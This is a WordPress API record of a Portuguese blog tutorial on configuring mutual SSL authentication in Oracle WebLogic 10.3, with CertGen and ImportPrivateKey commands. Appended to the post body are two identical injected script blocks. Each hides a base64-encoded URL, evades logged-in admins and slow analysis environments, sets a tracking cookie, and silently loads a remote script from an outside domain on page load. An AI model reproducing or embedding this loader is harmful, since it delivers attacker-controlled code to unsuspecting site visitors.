{"id":7,"date":"2009-03-20T06:08:00","date_gmt":"2009-03-20T06:08:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=7"},"modified":"2025-10-26T22:45:12","modified_gmt":"2025-10-27T01:45:12","slug":"autenticacao-mutua-no-oracle-weblogic-10-3","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2009\/03\/20\/autenticacao-mutua-no-oracle-weblogic-10-3\/","title":{"rendered":"Autentica\u00e7\u00e3o M\u00fatua no Oracle Weblogic 10.3"},"content":{"rendered":"<div class=\"entryContent\" style=\"text-align: justify;\">\n<p>Estou utilizando autentica\u00e7\u00e3o m\u00fatua em um projeto e resolvi postar como fazer isso utilizando o Oracle Weblogic 10.3. Embora seja trabalhoso a configura\u00e7\u00e3o \u00e9 bem simples.<\/p>\n<p>Antes disso, o que \u00e9 Autentica\u00e7\u00e3o m\u00fatua?<\/p>\n<p>Autentica\u00e7\u00e3o m\u00fatua ou autentica\u00e7\u00e3o de duas vias \u00e9 quando o cliente se autentica no servidor e o servidor se autentica com a aplica\u00e7\u00e3o cliente. Dessa forma a identidade dos dois se torna confi\u00e1vel. O cliente confia no servidor pois possui ele em sua base de confian\u00e7a (trust store - servidor) e o servidor confia no cliente pelo mesmo motivo (trust store cliente). A autenticidade e a identidade do cliente e do servidor \u00e9 feita utilizando certificados.<\/p>\n<p>N\u00f3s vamos utilizar aqui o padr\u00e3o <a href=\"http:\/\/en.wikipedia.org\/wiki\/X.509\" target=\"_blank\" rel=\"noopener\">X.509<\/a>.<\/p>\n<p>M\u00e3os \u00e0 obra.<\/p>\n<p><strong>Primeiro passo: Configurar o SSL simples:<\/strong><\/p>\n<p><strong>1. Adicionar o CA de teste no browser (ou outro CA - Verisign, ICP-Brasil, ...).<\/strong><\/p>\n<p>O CA ou Certificate authority \u00e9 a entidade autoridade de certifica\u00e7\u00e3o. Ela \u00e9 responsav\u00e9l por dizer quando um certificado \u00e9 confi\u00e1vel ou n\u00e3o. Ela normalmente emite certificados.<\/p>\n<p>No firefox:<br \/>\nFerramentas, Op\u00e7\u00f5es (ou Editar, Prefer\u00eancias), Avan\u00e7ado, Criptografia, Autoridades, Importar<\/p>\n<p>No IE:<br \/>\nFerramentas, Op\u00e7\u00f5es da Internet, Conte\u00fado, Certificados, Autoridades de Certifica\u00e7\u00e3o Raiz Confi\u00e1veis, Importar<\/p>\n<p>Para testes: utilizar o CA de teste localizado em:<br \/>\n\\wlserver_10.3\\server\\lib\\CertGenCA.der<\/p>\n<p>e selecionar para confiar nesse CA.<\/p>\n<p><img decoding=\"async\" style=\"height: 427px; width: 647px;\" src=\"http:\/\/www.thiagovespa.com.br\/images\/CACertManager.png\" alt=\"CAs\" \/><\/p>\n<p><strong>2. Configurar o SSL no server.<\/strong><br \/>\nNo console do Weblogic, selecionar Environment, Servers e o seu server, General, habilitar SSL (SSL Listen Port Enabled), colocar uma porta SSL.<\/p>\n<p>Para testes: selecionar Keystores, utilizar Demo Identity e Demo Trust aplicar as altera\u00e7\u00f5es.<br \/>\nPara produ\u00e7\u00e3o: selecionar Keystores, utilizar Custom Identity e Custom Trust, configurar os dados do identity e do trust<\/p>\n<p><img decoding=\"async\" style=\"height: 345px; width: 518px;\" src=\"http:\/\/www.thiagovespa.com.br\/images\/configKeystores.png\" alt=\"keystores\" \/><\/p>\n<p>Restartar o server.<\/p>\n<p><strong>3. Acessar uma p\u00e1gina para verificar se o SSL simples est\u00e1 funcionando.<\/strong> Por exemplo:<\/p>\n<p>https:\/\/localhost:7002\/console<\/p>\n<p><img decoding=\"async\" style=\"height: 37px; width: 134px;\" src=\"http:\/\/www.thiagovespa.com.br\/images\/seguro.png\" alt=\"SSL\" \/><\/p>\n<p><strong>Segundo passo: Configurar o SSL de duas vias<\/strong><\/p>\n<p><strong>1. Para testes, criar o certificado cliente ou em produ\u00e7\u00e3o utilizar um j\u00e1 existente que seja confi\u00e1vel pelo servidor<\/strong><\/p>\n<p>Executar o setDomainEnv.cmd do dom\u00ednio para setar as vari\u00e1veis de ambiente.<\/p>\n<p>Executar o CertGen<\/p>\n<p><code> java utils.CertGen -certfile certfile.cer -keyfile keyfile.key -keyfilepass password -cn ThiagoVespa <\/code><\/p>\n<p><strong>2. Converter para um formato conhecido do browser<\/strong><\/p>\n<p>Alguns browsers n\u00e3o reconhecem o PEM\/DER gerado ent\u00e3o \u00e9 necess\u00e1ria a convers\u00e3o para PKCS<\/p>\n<p><code> java utils.ImportPrivateKey -keystore ThiagoVespa.p12 -storepass password -storetype pkcs12 -keypass password -alias personal -certfile certfile.cer.pem -keyfile keyfile.key.pem -keyfilepass password<\/code><\/p>\n<p><strong>3. Carregar o certificado cliente no Browser ou utilizar algum dispositivo de seguran\u00e7a.<\/strong><\/p>\n<p>No Firefox:<br \/>\nFerramentas, Op\u00e7\u00f5es (ou Editar, Prefer\u00eancias), Avan\u00e7ado, Criptografia, Certificados (ou Disp de seguran\u00e7a), <span style=\"text-decoration: underline;\">Seus certificados<\/span>, Importar o certificado com extens\u00e3o p12.<\/p>\n<p>No IE:<br \/>\nFerramentas, Op\u00e7\u00f5es da Internet, Conte\u00fado, Certificados, <span style=\"text-decoration: underline;\">Pessoal<\/span>, Importar o certificado com extens\u00e3o p12.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.thiagovespa.com.br\/images\/MyCertManager.png\" alt=\"certificados\" \/><\/p>\n<p><strong>4. Configurar o servidor para requerer certificados do cliente<\/strong><\/p>\n<p>No console do weblogic, selecionar Environment, Servers e o seu server, SSL, Advanced, Alterar o Set Two Way Client Behavior para Client Certs Requested and Enforced, Aplicar altera\u00e7\u00f5es e reiniciar o servidor.<\/p>\n<p><img decoding=\"async\" style=\"height: 51px; width: 501px;\" src=\"http:\/\/www.thiagovespa.com.br\/images\/twoway.png\" alt=\"Two Way\" \/><\/p>\n<p><strong>5. Accessar a p\u00e1gina com o SSL de duas vias<\/strong><\/p>\n<p>Accessar por exemplo o console:<\/p>\n<p>https:\/\/localhost:7002\/console<\/p>\n<p>E o browser dever\u00e1 pedir a voc\u00ea o certificado criado.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.thiagovespa.com.br\/images\/requestCert.png\" alt=\"requisi\u00e7\u00e3o\" width=\"656\" height=\"259\" \/><\/p>\n<p>Pronto, a autentica\u00e7\u00e3o m\u00fatua est\u00e1 funcionando.<\/p>\n<\/div>\n<div class=\"blogger-post-footer\" style=\"text-align: justify;\">Thiago Galbiatti Vespa<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Estou utilizando autentica\u00e7\u00e3o m\u00fatua em um projeto e resolvi postar como fazer isso utilizando o Oracle Weblogic 10.3. Embora seja trabalhoso a configura\u00e7\u00e3o \u00e9 bem simples. Antes disso, o que \u00e9 Autentica\u00e7\u00e3o m\u00fatua? Autentica\u00e7\u00e3o m\u00fatua ou autentica\u00e7\u00e3o de duas vias <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2009\/03\/20\/autenticacao-mutua-no-oracle-weblogic-10-3\/\">Continue lendo  <span class=\"screen-reader-text\">  Autentica\u00e7\u00e3o M\u00fatua no Oracle Weblogic 10.3<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,6],"tags":[],"class_list":["post-7","post","type-post","status-publish","format-standard","hentry","category-java","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/7","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=7"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/7\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=7"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=7"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}